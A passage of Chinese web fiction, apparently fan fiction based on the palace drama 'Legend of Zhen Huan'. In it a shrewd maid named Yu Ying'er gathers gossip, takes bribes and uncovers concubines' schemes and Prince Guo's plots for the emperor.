这日子没叫皇后等太久,在沈眉庄找不到刘畚后甄嬛也联系不上温实初,两姐妹慌乱下被来请平安脉的江城打了个措手不及。 皇上听闻恪答应不让江太医请平安脉时脸色微妙,这位贾眉庄还能闹出来动静? 他记得前段时间挺安静的呀。 不过到底是难得的皇嗣,皇上还是亲自去看了一眼。 “怎么都在?” 就恪答应和甄答应的人缘,不夸张的说,还不如皇上。 难得见这么齐全的宫妃都在上下天光,皇上也觉得神奇。 皇后上前一步,脸上带着关切的笑意:“臣妾和妹妹们一同赏花,听闻恪答应这里有些动静,便一同来看看。” 皇上点了点头又看向华妃。 “臣妾是听闻恪答应说江太医是臣妾的人,所以不放心让江太医把脉才来的。” 说着,她嗤笑一声看向贾眉庄。 “真是可笑,一个小小的答应,本宫要害你还用得着如此大张旗鼓吗?” 贾眉庄低眉顺眼的站着,自顾自的捂着肚子不吭声。 甄嬛有些着急,自上次容常在说了那什么孔芷溪的事情后眉姐姐就成了这个样子,没有一点心气儿。 皇上坐到椅子上没有吭声,只是示意江城把脉。 茯苓还没出扬,这没有孕像的事实就从江城的口中说出。 第367 章 余莺儿16 “嫔妾是真的有孕了。” 多日未曾开口,她的嗓音有些暗哑,本就不疾不徐的语气更添了几分说不上来的腔调,听的人闷闷的,不舒坦。 皇上看了眼贾眉庄又看了眼没有忍住笑意的华妃,把这事的真相拼凑了个七七八八。 “把章弥叫来。” 江城是华妃的人,他已经确定了贾眉庄没有身孕,但为了叫贾眉庄心服口服,还是把让高无庸把章弥带了过来。 “这位小主应当是服用了暂时封闭月事的药物,并非有孕。” 这扬戏并不算精彩,因为大部分人都能看的出来其中的关窍。 但偏偏贾眉庄不肯认罪也拿不出证据,她只跪在地上看着皇上,嘴里重复着“嫔妾不知这是怎么回事”这句没什么用的话。 甄嬛见大势已去,连忙跪在地上帮着贾眉庄认下了这个罪名:“眉姐姐并非有心欺君,只是被小人蒙蔽,才着了算计。” 她说的小人是刘畚,可惜如今的两人并没有能力去追寻刘畚的踪迹,这罪名,便只能认下。 皇上看了眼站的规矩的容常在和沈答应,心里头有了计较。 “恪答应贾氏,假孕争宠欺君罔上,褫夺封号贬为庶人,冷宫安置。” 说完,皇上挥了挥手,高无庸带着人连夜把贾眉庄送回了宫里。 甄嬛此刻算的上是真真正正的孤立无援,身边亲近的人只剩下了一个流朱。而后宫的人又都是精明的,即便是宫里的主位敬嫔也不怎么愿意搭理她。 “我心里头烦闷,出去转一转。” 当热闹和喧嚣都散去,甄嬛看着清清冷冷的屋子不自觉的揉了揉手里的帕子。贾眉庄被送回宫,她有一瞬间是松了口气的。 虽然这宫里头也只有贾眉庄和她同心同德,但贾眉庄太过憨直,她劝过很多次都没能改变她对余姑娘的看法。 御前的人,即便是对她们有偏见又能怎么样?不得宠一切都是空谈。 甄家没了,贾眉庄也不再是沈家女,虽然她有些皇恩,但端看被压着的位分就知道,皇上并不算特别喜爱她们两个。 即便不能低一头,客气着打个招呼便是,若她能在皇上身前说上话,那贾眉庄怎样都好,可偏偏...... 甄嬛不知不觉走到和杏花春馆一水之隔的廊桥前,倚在高大的柳树上,她抬头望着天边的明月一手揪着几片柳叶往水里扔。 皇上的后妃虽然多了不少,但他仍旧抠门,这片位置并没有人居住在此,所以允礼得了空便会溜达两圈。 今夜月色不错,允礼拿着一壶酒在树上感叹世事无常,吹着柔柔的风,听着不远处吵吵嚷嚷的动静,竟渐渐昏睡过去。 (怎么爬上去的不要管,这是拾妻弟的逼格。) 再睁开眼,树底下站着一个清丽的美人儿。 允礼定睛一瞅,是温宜满月宴上一曲惊鸿的甄答应。 他思索片刻,看了眼周围的环境。 值守的侍卫在这里只有两班岗,刚刚他来时正好过去了一队人,想来还有许久才有人能经过。 允礼没有从树上跳下去毕竟腿脚不太适合耍帅,反而把手里的酒葫芦扔在了甄嬛脚边。 “谁?是谁在那里?” 甄嬛被惊的四处乱瞧,随着头顶嬉笑的声音,抬头看到了半靠在树上的果郡王。 “果郡王?” 甄嬛抿了抿唇,对这个曾开口救她于水火的男人还是很有好感的。 “你现在这个样子好看多了,髣髴兮若轻云之闭月,飘飖兮若流风之回雪。小王记得答应的舞姿,远比今日灵气逼人。” 甄嬛被果郡王的轻浮打动,她看向平静的水面轻轻摇了摇头:“果郡王谬赞了,不过是寻常技艺。” 果郡王在心里认可这句话,那扬惊鸿舞确实算不得出彩。 不过他有心勾引,自然不会将实话脱口而出。 “夜已深,你独自赏月可是有心事?” 果郡王虽然不再像皇上刚登基那样受到信任,但好歹也是个郡王,一些简单的消息还是知道的。 就比如这位甄答应,并不像他心里头想的那样得宠,心绪不平也是有的。 甄嬛看着果郡王深情款款的眼神,突然有了倾诉的欲望。 两人就在湖边席地而坐,对着天对着月,聊境遇聊理想聊人生越聊越投机。 只有可怜的阿晋一个人眼观六路耳听八方,一边喂着蚊子一边为自己胆大包天的主子放哨。 可惜他只有一个人一双眼,就算跑断了腿,也没注意到不远处的小太监和小宫女扒着头兴奋的记录着二人的一言一行。 “发了发了,余姑娘可是说了,抓住什么一定要记牢了,回头可以换一个银角。” 圆明园的油水本就不多,在这当值的大多是家里没门路或者只为了混日子的。 积极上进的奴才,是不会放过每一个挣钱立功的机会的! 甄嬛和果郡王的消息在余莺儿起床时准时递到了她的耳朵边。 “拿去给下头的人分一分,咱们都是为了皇上干活,皇上不会亏待咱们的。” 余莺儿随手抓了一小把银角,那是高无庸给她准备的小盒子,专门用来打发下头的宫人的。 得了这份好消息,余莺儿第一个念头就是跟皇上分享。 作为一个人设是绷不住话又忠心的宫女,这等腌臜的事怎么能不叫主子知道呢? 圆明园的规矩没有那么多,皇上的朝会也简单,有大把的时间听余莺儿说八卦。 她前脚刚踏进勤政殿的正殿,后脚皇上就急切的想要继续昨儿个的【张小凡传奇】的后续剧情。 “你可算来了,快跟朕说说,那张小凡在河阳城遇到魔教女子碧瑶后怎么样了?” 这是余莺儿在做鬼时难得看完的一本男频玄幻类小说【诛仙】,其实她看的更多的还是【鬼吹灯】之类的比较刺激些的。 余莺儿往皇上跟前一站,并没有如皇上所愿拿出金色的醒目,反而脸色有些难看的看了眼高无庸。 高无庸会意带走了一旁立着的宫人们。 “这是怎么了?” 昨儿一个贾眉庄假孕还不够,今儿又有什么刺激的消息? “皇上,今早在天神坛附近扫撒的太监宫人来回禀,昨晚在上下天光和杏花春馆的廊桥那里,甄答应和果郡王畅谈了许久。” 余莺儿的声音低低的,还时不时偷看一下皇上的脸色。 皇上捻着手里的珠子半晌没有说话。 “依你之见,他们两个可有奸情?” 余莺儿没有一点窥探了皇家秘辛的紧张感,反而认真思索了许久:“奴婢觉得没有。” 皇上脸上带了些笑意,他自然分的清这话是真心还是假意:“哦?你如何得知?” 余莺儿熟练的坐在皇上旁边的脚踏上,扒着手指头分析:“您瞧,首先果郡王不过是个郡王,奴婢想正常人都能分清皇上和郡王谁更厉害的。” 这话最直白,皇上最爱听。 “其次,即便抛去身份,果郡王现在是个跛子,还经常端着个酒葫芦,咦......” 这话说的实在,不管什么好酒,喝多了身上的味道都是难闻的。 “再一个,能在清楚甄答应身份时还上赶着凑近的男人能是什么好东西?奴婢小的时候在家都知道,成了亲的女子要和外男保持距离呢。” 皇上点了点余莺儿的额头,顺便把自己手边的金蟾放到了她怀里。 “难为你天天打赏下人,给你的私库添点金子。” 看着余莺儿抱着金蟾笑眯眯的傻样子,皇上难得又提点了一句:“先莫要叫宫人们打草惊蛇,朕倒要看看他们想做什么。” 这话还用说吗?余莺儿当然知道了,但是她不能表现的比皇上机灵啊。 于是便做恍然大悟状,一脸佩服的看着皇上真诚的夸赞:“哦!您是想瓮中捉鳖!皇上,还是您想的周到!” 皇上那点被背叛的不痛快湮没在了余莺儿的马屁里,他也带着笑意夸了余莺儿一句:“孺子可教也。” 第368 章 余莺儿17 后宫的当家人是皇后,果郡王能操作的空间就有很多微妙之处。 余莺儿在打发了第六个来送信讨赏的奴才后,有些气哼哼的坐到了皇上脚边。 她自个儿给自个儿捶了捶腿,瞧着皇上的眼神没有挪过来半分,便动作幅度更大的捶了捶腰。 只是她又十分有分寸的没有闹出动静,像一个人演哑剧似的逗的皇上低下了头。 “你这是又怎么了?” 皇上的眼神好着呢,老早就看到自个儿这大宫女瞬间换了八百个小动作的蠢样子。 本想着把桌子上最后这两个折子批复完了再搭茬,但这动静恨不得戳到他眼巴前来再演上一出。 余莺儿看皇上总算出了声,一骨碌的爬起来凑到皇上身边伸出手捶了捶。 “皇上,上下天光有个叫小苗子的太监和一个负责粗活的宫女平儿同时拉了肚子。只是没等两个人告假便被上头的管事挪了出去,换了两个大家都不熟悉的宫人进来。” 皇上点了点桌上的砚台,余莺儿立刻识趣的干活。 “外头送进来的?” 圆明园的值守还是太过松散了些,皇后又不知道前段时间皇上对果郡王和舒太妃的围剿,所以沉迷于扮演大度的皇嫂不可自拔。 余莺儿点了点头:“那宫女倒是漂亮,听闻名唤彩蘋。” 果郡王如今的前途堪忧,那培养的如花似玉的婢女可不就有了用途。 “还有茹古涵今负责打理花草的三等宫女彩蓝,天然图画负责跑腿的小太监小胡子和负责打扫如意桥的宫女叶澜依。” 皇上的神情也逐渐凝重了起来,一下换了五个宫人,皇后居然一点都没发现。 “这件事非同小可,朕把夏刈给你,务必给朕查清楚这几个宫人的来历。” 余莺儿点了点头,这几个人,其中有三个一听名字就知道和果郡王有关,按照这条线索找,不费什么精神。 其余两个小太监也简单,先叫两个老太监摸摸真假,再找到当时给他们噶蛋的执行官,顺着线索往下摸索就是了。 确定了执行方案,余莺儿又带着忧心的嘱托了皇上两句:“那奴婢先去忙两日,您这几日就去锦常在等小主处溜达吧。 奴婢也不是给小主们说话好,小主们现在心心念念想要个小主子,这心啊,不容易动摇。” 这是拿果郡王当厉害人物防范了,皇上看了眼余莺儿那关切的眼神心里头很受用。他嫌弃似的摆了摆手:“快走吧,朕在园子里安全的很。” 余莺儿的脸色变的一言难尽。 皇上轻咳了声:“高无庸也得力,你快些去查探清楚。” 带着只有一点身手脑子不多的夏刈,余莺儿先去了趟毕五家,小冬子和小胡子就是从这里出来的。 按照余莺儿的吩咐,夏刈仔细的查看了两人的来源和籍贯等信息。 “登记的是保定府的乞丐,一路讨饭过来不得已卖身求生的。” 余莺儿摇了摇头,顺着几条不起眼的消息找到了当初和小冬子小胡子一同讨饭的乞丐群。 耗费十几个铜板就找到了两人的来时路。 “小的们记得真真儿的,两个人来的时候虽然穿的破破烂烂,但身上可一点也不臭。带着一嘴地道的京腔,什么保定府,都是骗人的。” 余莺儿又顺着乞丐们的线索一路走,抬头那片高门大院的门牌上书三个大字‘清凉台’。 余莺儿和夏刈对视一眼,一个胸有成竹,一个惊诧万分。 小太监的归属有了着落,三个宫女那就更好查了。 经手的毕竟是包衣,余莺儿三两句话就把果郡王的老底儿掀了个干净。 回到圆明园复命,本想第一时间到勤政殿跟皇上唠唠嗑,没想到被自己的小线人绊住了脚步。 “余姑姑余姑姑,奴婢有事要禀告。” “余姑姑余姑姑,奴才也有事要告诉您。” 看着积极的宫人余莺儿把自己的小盒子端了出来坐在阴凉地儿。 “一个个来,都有份。” 宫人们有秩序的排好了队,打头的小宫女往前走了两步,口齿清晰的开始打小报告。 “奴婢先来,余姑姑,奴婢前日上午巳时末,在上下天光后头那片梨花树那儿看到果郡王和甄答应一起吹箫。” 余莺儿递给她一个银角顺口表扬了一句:“做的不错,消息不分大小,有事就来跟我说。” 小宫女攥着银子开开心心的跑了出去,下一个宫人自动上前。 “到奴才了,余姑姑,前个儿晚上戌时初,果郡王在如意桥和新来的宫女说了几句话,那宫女笑的可好看了。对了,敬嫔娘娘当时也在不远处的柳树下站着,但是没有出声。” 哦豁,敬嫔不愧是后宫雷达,余莺儿对她的好运表示了一点点羡慕:“干的好,咱们就打探消息,打草惊蛇不可取。你们都是最底层的宫人,哪个贵人也得罪不起,一定要做的隐蔽,知道了吗?” 底下的奴才们连连点头,心里头觉得余姑姑就是最好的。 听完了最新消息,余莺儿把那个演的绘声绘色的小宫女也调查了清楚。隶属汉军旗包衣王氏,因为得罪了贵人,家族一直没法出头,人是个机灵的。 余莺儿把人带在了身边,作为一些八卦表演的搭子,给皇上增添趣味性。 她整理了一下这几日的收获,灌了口茶换了身衣裳,雄赳赳气昂昂的到了勤政殿的内室。 “余姑姑回来了。” 皇上一开口就是老阴阳人了,他在勤政殿巴巴的等着余莺儿来给他解惑,余莺儿可倒好,被一帮奴才围着,到现在才来。 余莺儿一溜烟的上前,动作熟练的坐在皇上下面的脚踏上。 “皇上可要折煞奴婢了,奴婢这不是几日在外头,底下的宫人们有了消息不敢面见天颜,只等着奴婢传话嘛。” 皇上点了点余莺儿的发髻:“说吧,都查出什么了。” 他也不是非得跟自个儿的大宫女计较,就是刚才夏刈支支吾吾的,说话一副不痛快的样子看的他难受。 “是果郡王。” 余莺儿先把结果摆出来给了皇上,得到夏刈一个钦佩的眼神。 他刚才不太敢说,怕皇上一怒之下拿他出气。 若是以往只有他就算了,挨打也得冒头。 现在不一样了啊,御前红人余姑姑呢,哪里轮的到他这个旧人。 皇上手上的翡翠珠串转的快了些,他看了眼余莺儿,示意她继续说。 这些人的出处简单,唯有叶澜依本就是圆明园的驯马女,被果郡王一副药救了回来恨不得以身相许。 叶澜依性子桀骜难驯,能为了果郡王守着如意桥已经很是不易。 至于果郡王的打算,余莺儿假做猜测一二:“约莫,是想勾引皇上?” 皇上嫌弃的撇了撇嘴,他这个弟弟算是废了。一点阳刚之气都没有,全部的心思都是围着女儿家转圈,只想通过裙带来成就大业,不中用。 第369 章 余莺儿18 “你先找人看着这几个宫人。” 皇上也没太把果郡王当回事,他现在还是很自信的。 余莺儿看了眼自己那没出息的主子简直恨铁不成钢。 她动了动脸,把表情换成一点点疑惑和一点点嫌弃:“皇上,不是奴婢挑拨,皇后娘娘到现在都没发现问题。这后宫管理还是松散了些,不然甄答应怎么可能和外男谈天说地的。” 这点皇上认同,即使华妃手腕伶俐,也不及她这大宫女周全。皇后就更别提了,优柔寡断小气抠门,于宗亲命妇无益于后宫无能。 “嗯,高无庸,把皇后叫来。” 说着,皇上看向余莺儿:“皇后管着后妃便罢了,宫人们朕便交给你来看管着,有你在,朕也能放心些。” 余莺儿想了想,歪着脑袋看皇上:“奴婢挺想干这活儿的,倒不是有什么权利。皇上您也知道,贵人们在宫里头生活,方方面面都离不开奴才们的照顾,奴婢亲自上手管着也更放心些。” 皇上一手执着余莺儿的手,另一只手把自己盘了几年的珠串拍在余莺儿手心里。 “你心细又活泛,还是朕身边的人,由你来管着宫人是顺理成章的事。皇后不顶事,华妃汉军旗妃妾不足以管理这些,御前的人,最合适。” 皇上自个儿就把自个儿说服了,余莺儿也笑着应了下来,那表情还带着一点谄媚,皇上都不用想就知道余莺儿打什么主意。 “俸禄翻倍。” 皇上对有所求的奴才用起来是最顺手也是最放心的。人哪有无欲无求的呢,无欲无求的人,那谋求的可能就是他不想付出的价钱了。 “皇上圣明!” 这管理宫人简直是小事一桩,再挣个辛苦钱,给自己的小金库添砖加瓦。争取这个世界把空间里的金银也翻倍。 皇后接到旨意面色有一瞬间的难堪,不过好在接手这部分工作的不是华妃,皇后还是可以接受的。 “余姑娘心细,在御前行走也格外吃的开,难怪皇上看重。” 皇后不暗戳戳的讽刺点什么就好像不会说话似的,她又不是后宫的妃子,她可是皇上身边的人,皇后还敢给她委屈受。 “皇后娘娘谬赞,奴婢只是为皇上分忧而已。皇上夜兴夙寐为大清劳累,奴婢做不了什么大事,力所能及,为皇上解决些小矛盾。” 余莺儿也暗戳戳的嘲讽皇后不干人事,身为后宫之主连为皇上分忧都做不到,屁大点事就要拿到御前请皇上评判,没有主见没有气势没有能力。 皇后掐了掐手心,看皇上无动于衷的样子就知道不能再说下去了。 余莺儿大获全胜,得意的叉着腰跟皇上邀功:“皇上,以后有人不听话就告诉奴婢,奴婢好使。” 皇上笑着丢了个婴儿拳头大小的金球到余莺儿怀里。 “年羹尧上折子称要那本书的下半本呢,你可准备好了?” 余莺儿只负责口述,动笔这事是另一个会写字的小太监负责。 “准备好了,年大将军给皇上送礼了吗?” 她的辛苦劳动很贵的,年羹尧别想白嫖。 皇上指了指桌子上厚厚一沓银票:“等年羹尧出去打仗的时候你就不要给他什么话本子了,他现在日也看夜也看的,什么事都顾不得。” 看的出来,年羹尧是真的很喜欢龙傲天等龙王归来的情节了。 余莺儿郑重的点了点头:“奴婢懂!战场不能儿戏。” 皇上为余莺儿的觉悟表示了赞扬,并且给了她一个任意行走的令牌。 虽然从前余莺儿也是满宫溜达,但有了这个令牌,不仅能溜达,想查什么都不用回来请皇上的旨意了。 余莺儿这一人之下万人之上的日子过的正舒坦。今儿听听甄嬛和果郡王的情投意合,明儿去给华妃说说书,挣了钱又满足了自己的八卦心,小日子美的过分。 眼瞅着过了八月,潮闷的天气开始变的干燥,锦常在那里也传出来了喜讯。 皇上觉得余莺儿的能力出众,就连挑宫妃这一块也建树颇高,一高兴又是金元宝的赏赐,看的出来,皇上是真的很喜欢孩子。 “余姑娘。” 日头西沉,今日皇上去了李佳答应处看舞。余莺儿溜溜哒哒的在园子里晃悠,收集了不少家长里短,准备明天分享给皇上。 半道上碰到了面色沉静的敬嫔,她挑着眉头一脸小人得志:“奴婢给敬嫔娘娘请安。” 敬嫔伸手虚虚的托了一下,她哪里敢让这位御前红人余姑娘真的把腿弯下去。 “余姑娘不必多礼,本宫也是有事找余姑娘。” 余莺儿眼珠子一转,怕是叶澜依和果郡王的事。 “可是果郡王之事?” 敬嫔还以为自己是螳螂,没想到早就被看在眼里,一脸劫后余生的模样更加放低了姿态。 “是,本宫也是偶尔看见,但又不知道如何是好,这才拖到了今日。” 余莺儿摸了摸手腕上的金镯子语气里带着些尖锐的刻薄:“敬嫔娘娘这话就不对了,后宫是皇上的后宫,后宫的一草一木任何一个宫人都是皇上的人。娘娘您既然看到了不妥,还不及时上报皇上,这可是,欺君之罪啊。” 敬嫔被唬的后背都冒了冷汗,这换做是皇后和华妃来了她都能想办法脱身,但余莺儿的大名,叫敬嫔很难生出别的心思,把身上一半重量都倚在了含珠那边,缓了缓神。 “不过,娘娘您在后宫不与人起争执,也愿意与人为善,奴婢都是知晓的。所以这事,奴婢帮了您一把。” 敬嫔连忙把手上那对玉镯塞到余莺儿手里:“多谢余姑娘,是本宫想岔了。” 镯子温润,余莺儿一摸就知道是好料子。 敬嫔虽然在后宫比较低调,但还是知道余莺儿的喜好的。 镯子只是被吓唬的意外,含珠上前又塞了一个荷包到余莺儿手里。 余莺儿这才缓和了表情,换了一副温和的样子:“娘娘今后有事叫含珠来寻奴婢就是。” 敬嫔还真的喜欢和这种明码标价的奴才打交道,最起码银货两讫。 “本宫确实有一事想要麻烦余姑娘。” 荷包有个压手的重量,余莺儿很有耐心:“娘娘直说便是。” 敬嫔上前两步低声道了一句:“甄答应,余姑娘也是知道的,甄答应并不是个安分的,本宫实在是,有心无力。” 余莺儿看了眼手里的荷包:“可甄答应是皇上金口玉言住进咸福宫的,奴婢怕是......” 敬嫔上道的又塞了一个荷包给余莺儿:“本宫知道余姑娘为难,本宫只求余姑娘跟皇上说一声,成与不成,本宫都等着。” 余莺儿看着一旁的银杏树突然说了一句:“这银杏树若是好好看护着,怕是今后要四五人合抱呢。” 敬嫔眼珠子一转,明白了余莺儿的话。 “是呢,本宫瞧着也是如此。” 余莺儿笑了笑:“娘娘的事奴婢记得了,成与不成,奴婢后日给您个信儿。” “那本宫就静候余姑娘的佳音。” 敬嫔回到自个儿睡觉的寝室打发出去含珠,掏出自己的小宝盒子瞧了瞧。 亲自装满了三个荷包的实心金瓜子金花生等物,才安稳的准备入睡。 只要能把甄答应从咸福宫打发出去,舍弃一点金子而已,她不心疼! 第370 章 余莺儿19 余莺儿收到敬嫔送来荷包的当天就和皇上提了一嘴挪宫的必要性。 “皇上,奴婢想着,这些时日天儿凉快了不少,咱们也预备着要回宫了,是不是把甄答应从咸福宫移出来?” 皇上抬头看了眼余莺儿那一目了然的眉眼官司,低下头继续看着手里的书道:“敬嫔给你送了多少钱?” 余莺儿‘嘿嘿’一笑,坐到自个儿的老地方支着脑袋。皇上怎么总把话说的这么直白,叫人怪不好意思的。 “这事奴婢也是想过了才顺势接下来的。您想想,甄答应如此不安分,名声什么的就不提了,她自个儿臭了也就臭了,能捞起来一个是一个啊! 皇上您后宫的娘娘小主们,虽然都有自己的小心思,但哪个不是规规矩矩以皇上为天的,这若是被沾湿了衣角,奴婢都替您觉得可惜。” 皇上的嘴角不自觉的翘了起来,他也没有抬头,随手拍了拍余莺儿的发髻:“就你会说。” 余莺儿瞅着皇上的表情觉得这事应当是稳妥了,连忙从自己的袖口里扒拉出来一个雕着‘明君’两个字的玉牌子递到皇上眼前。 “奴婢手艺粗陋,这牌子也不敌皇上您寻常用的名贵,但确实是奴婢自个儿做的。” 这是余莺儿没有业务的夜晚一边和管彤唠嗑一边捣鼓出来的小玩意儿。 “皇上您对奴婢太好了,承蒙主子信任,给了奴婢这么好的差事。 奴婢也没什么能报答您的,除了好好办差,也没有别的本事。不过,您用不用的上是一回事,奴婢的心意还是得给皇上。” 皇上接过余莺儿手里的玉牌放在手心里摩挲了两下。 玉质确实算不得特别顶尖,虽是浓郁的绿,但水头一般。 上头的刻字也有不少瑕疵,可就是这一份心意,皇上十分喜欢。 “你倒是有心了。” 皇上这半生收到的礼物无数,大部分是名家字画古董珍玩,这样粗糙的手艺他以前从未见过。 余莺儿仿佛没有看到皇上的眼底复杂的情绪,她乐呵呵的样子仿佛什么阴霾都不放在心上。 “这话说的,是皇上您本来就好。” 这话说的并不亏心,甭管皇上对别人做过什么。单就说她,皇上是绝没有亏待的。 余莺儿还是很乐意给对自己有善意的老板一些积极的正面情绪反馈。有利于今后的工作顺利开展嘛! 皇上捏着手里的玉牌按耐下心头翻滚的复杂情绪,脸上仍旧是那副油盐不进的模样。 “甄答应的事你看着安排就是,皇后那里叫高无庸去说一声。” 余莺儿点了点头,不打扰皇上继续感动。背着手晃荡出门招手唤来了小琦子,叫他去敬嫔那里送个信儿。 看看,这就叫口碑,只要钱到位了,她余莺儿都能给你办的妥妥的。 有敬嫔的贴心宣传,余莺儿简直成了皇上的经纪人,后妃有个小打小闹的都掂着荷包到她这里走上一圈。 一般不太过分的余莺儿都给办了,毕竟后宫现在这些人,基本都是有脑子的。 随着回宫的日子越来越近,果郡王和甄嬛的行为也越来越放肆。 “嬛儿,回宫了我便不能时刻去看你,这彩蘋是我的人,你带回去也好有个照应,能随时给我递个消息。” 月下的甄嬛看着湖里点点亮光,表情里有些不舍,也有些犹豫。 “我如今不过是个答应,贴身的侍女也只有流朱一人,不知道能不能......” 甄嬛并不想带彩蘋回宫,彩蘋的容貌气质皆是上乘。她如今的恩宠本就不多,有这么一个婢女在侧,怎么想都算不得好事。 果郡王有些情急,他安插的小太监自然是没办法随着大部队回宫,就指望这三个容颜姣好的宫女能有一番作为呢。 彩蓝那里不太好运作,叶澜依也没有如他所预料那般被皇兄看上。只有这个彩蘋,好歹能搭着甄嬛的顺风再进宫谋划下一步。 “如今我不过是个没什么用的郡王,皇兄又一向多疑。那深宫森森,嬛儿,我该如何与你一诉心事?” 果郡王拉着甄嬛的手放在胸口,一副视为珍宝的模样果然把甄嬛说服。 她歪头靠在果郡王的肩膀上嗓音越发的软:“是我瞻前顾后的,你放心,皇后娘娘敦厚,只是一个奴婢而已,不算难的。” 躲在草丛里的小太监瞪大着眼睛努力把这两人的一言一行往脑子里印,根本没顾上思考两人再说什么大逆不道的事。 九月初,皇上带着后宫众人启程准备回到紫禁城这个华丽的囚笼。 余莺儿先是去了玉贵人的马车那里转了一圈,随后面色如常的把人带到了皇上的车上。 又到了锦贵人处,伸手敲了敲闻了闻,也把人请到了皇上的御驾上。锦贵人有孕进位还给了她个大红封呢,大客户可不能落下。 “皇上,两位小主有着身子,车马疲累容易动了胎气,不若皇上您辛苦辛苦,也算是陪陪小皇子了。” 皇上满眼茫然的举着书,看着规规矩矩坐到身边的两位美人儿很快就反应过来。 “那就把你撵下去了,朕这里可没有多余的地方给你了。” 笑呵呵的皇上很满意余莺儿的办事能力,玉贵人和锦贵人也很满意合作伙伴的机灵敏锐。 余莺儿福身一礼,美滋滋的上了华妃的马车。 “快,本宫正要叫颂芝去叫你呢。” 华妃的马车虽然规制不如皇上,但论舒适度绝对不输。 余莺儿顺着颂芝的力道坐到了自己的小位子上,不用华妃开口问,就把刚才的事秃噜了出去。 “肯定是皇后做的鬼,她竟会这些下作的手段。” 华妃丝毫没有对着御前人的谨慎,吐槽起来半点都不知道收敛。 余莺儿点了点头,颇为赞同。 不过这话题也是一带而过,华妃还是对余莺儿新起的故事【上错花轿嫁对郎】更感兴趣。 那本【苏落寻亲记】虽然本身非常长篇,但余莺儿把它精简了一下。 毕竟她从来不赚亏心钱,不能为了一时的收益丢了大客户。 后头的剧情实在太过琐碎又重复,不是男的失忆就是女的失忆,她讲都讲烦了。 前后一片欢声笑语,中间皇后的车驾阴气沉沉。 “废物,一点小事都办不好。” 皇后咬着牙,刻意放低的声音听的人耳根子刺挠。 剪秋跪在一旁一脸愤恨:“都是那余莺儿,偏偏做什么好人样子去两个贵人那里检查,也不知道皇上是怎么培养的。不过是倚梅园的粗使宫女,居然也能找到咱们那么隐蔽的手段。” 皇后冷哼一声,支着脑袋的手不停的点着自己头上的钿子。 “余莺儿你还不懂吗?不过是个见钱眼开的,那些包衣手里最不缺的就是银钱。” 皇后没有反思自己送的少,反而埋怨对手送的多。 “真是小家子气,皇上怎么选了这么一个势利眼近身伺候?简直有辱天家风范。” 剪秋自认自个儿是皇后身边的大宫女,却没有余莺儿一半的威风,所以对余莺儿十分看不上眼。 “好了,不管如何,皇上选了她伺候,你这话不要再说了。” 皇后如何不讨厌余莺儿呢?但是皇上正热乎着,她也不会为了一个宫女和皇上对着干。 “余莺儿还要在御前伺候着,难免有分心的时候,宫里头想来也准备好了。” 玉贵人和锦贵人都在储秀宫住着,储秀宫的原住民欣常在的防御不值一提。皇后早就在宫里给她们两个孕妇准备了麝香大礼包。 主仆俩对这番布置很是自信。 不曾想两个人回宫不过半天时间,那些脏东西便被余莺儿扔了出去。 碧鲁氏和喜塔腊氏可是又送了金子的,余莺儿绝不会叫自己的可持续性客户受到一点威胁。 第371 章 余莺儿20 “那个宫女处理了吗?” 余莺儿在宫里头转悠了一圈,才看到自己的小助手小琦子的身影。 小琦子如今比小厦子受重用的多,他人老实又有把子力气,跑腿办事是最靠谱的。 “余姑姑,都处理干净了。” 小琦子跟高无庸学过功夫,不是花花架子,是正经的杀人招数。虽然不如他师父厉害,但对付个有几分本事的宫女还是绰绰有余。 余莺儿看着自己那金线滚边的帕子笑了笑,随手扔了一个银元宝到小琦子怀里。 “做的不错,事关皇上的安全,咱们可不能马虎。得了,你去洗洗,今儿就歇着了。” 小琦子捧着元宝乐滋滋的回到自个儿和小厦子的屋子,站到小厦子的铺位跟前儿得意的叉着腰无声大笑。 从前小厦子仗着自己的师傅是苏培盛可没少挤兑他!如今他的师傅没了,而他小琦子的师傅可是跟着余姑姑做大做强了! 余莺儿看了看天色,脚尖一转往御前晃了一圈,正巧看着皇上招手就跑了进去。 “怎么回来就没瞧见你?又去哪忙活了?” 皇上还没来得及表扬余莺儿今天处理突发情况的效率,人就跑没影了。 “这不是去玉贵人和锦贵人的储秀宫里头转了一圈,得了小琦子的信儿奴婢就赶紧回来了。” 皇上是知道余莺儿办事细心的,而且她从不掩饰自己和哪一个家族的勾结合作,事无巨细,有时候听的都想笑。 “那个宫女处理了?” 想起那拙劣的手段,皇上表情闪过一丝不耐烦。 “都处理干净了。果郡王也真是病急乱投医,当谁都像他似的不讲究,脏的臭的不管不顾。” 皇上对这话表示认同,并对余莺儿犀利的评价表示认可:“你说的对。” 两人说的是今日突然拦在皇上必经之路的叶澜依。 也不知道果郡王许了什么好处还是付出了什么好处,总之叶澜依以一副‘奋不顾身’‘忍辱负重’的脸色倒在了皇上身前。 虽然已经尽力展示‘楚楚动人’的可怜姿态,但她的演技实在拙劣,在后宫如此兴旺的皇上眼里,实在不堪。 皇上连看一眼的兴趣都没有,只是给了余莺儿一个眼神,示意她处理干净。 于是,叶澜依,卒。 果郡王的不甘心暂且不提,咸福宫的敬嫔拉着容常在和沈答应攒了一桌丰盛的席面大吃了一顿,也算是庆祝自己脱离苦海。 皇上当初给两人分宫室的时候,只想着省事一并塞给了敬嫔。三人相处的还算不错,毕竟不是人人都和贾眉庄一样是孤儿的。 翊坤宫的华妃伏案正在神情激动的写着什么,颂芝在一旁小声嘀咕着提醒,华妃连连点头,手上半点不停。 紫檀木的书桌另一端,散开着几张有些皱巴巴的信纸,落款是二哥。 兄妹俩又一次因为向对方推荐自己喜欢的情节失败,隔空对着线。 启祥宫的丽嫔一边抱怨一边陪着曹琴默抱着温宜在院子里遛弯,曹琴默嘴角翘着,对丽嫔的抱怨充耳不闻。 长春宫的齐妃在自己的寝殿来回踱步,指挥着翠果把自己存起来的金首饰寻摸出来,准备打个大大的金疙瘩给余莺儿送去。 多亏了余姑娘提醒,她的弘时也要当阿玛了,齐妃乐的根本不想睡觉,恨不得明月赶紧回家,好叫日头升起,就可以去给皇上报喜了。 特意开了的永和宫住着三位小主。伊尔根觉罗常在,西林觉罗答应和李佳答应三人。 虽有竞争,但三人也知道目前大家这位分,争来争去也争不出什么花样,索性报团在一起,弹琴跳舞唱曲儿的,倒是恩宠不断。 这风平浪静下的后宫不过是海边的离岸流。甄嬛那远在御花园一角的碎玉轩虽然觉出了风雨欲来的气息,却被果郡王推动着还是坚定的踏了进去。 凭借那张脸,皇上虽然白日里经常招甄嬛伴驾,却从不叫她侍寝。 这让甄嬛有些心急。 毕竟她的好哥哥温实初说,她已经有孕,一个半月了。 